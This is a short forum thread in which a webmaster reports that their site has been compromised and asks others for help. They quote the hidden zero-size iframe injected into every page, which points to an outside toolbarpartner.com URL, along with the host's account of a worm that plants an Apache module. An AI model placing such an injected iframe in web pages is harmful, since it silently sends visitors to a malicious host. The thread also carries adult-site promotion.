hijacked pages on my server
 

So I was informed of my pages displaying malicious code just yesterday by a few webmasters, already have been blacklisted at some places. I go through some old galleries and can't find anything weird on them. Then just now as I uploaded NEW html files, THIS BULLSHIT CODE appears on ALL of them at the very top of the page:

IFRAME SRC="http://toolbarpartner.com/in.php?wm=alextor" WIDTH=0 BORDER=0 HEIGHT=0

I've been in touch with my host regarding this (yesterday, before I found this exact HTML code) and this was their response:

The problem with the virus is a worm. Are you using any TGP Rotator software, like Comus Thumbs? There is a hole in some software, which we can not figure out, that allows a passthru to install an apache module that shows this virus on all pages. We have been trying to figure out how they get in for a while now with no luck. We are trying to track this down.

I recall this happening to someone at ThinkReel but can't seem to dig up the thread now. Any ideas on how to get this shit off my server? Re-uploading pages dont work as my host has told me its an apache module that adds the code on the fly.

Sorry to hear that, I always enjoyed listing you galleries.

I have a partner account waiting for you at http://www.throatpokers.com/mgp/

Hit me up deep at@ throatpokers.com

ask dweeks at swiftwill.com
he got to the bottom of the ujc exploit :)
Duke

thanks duke, emailing him now :thumbsup

it happens also when you give the pages a .php extension and upload them ?

maybe a quick fix for teh time being

yep, php files display the bug as well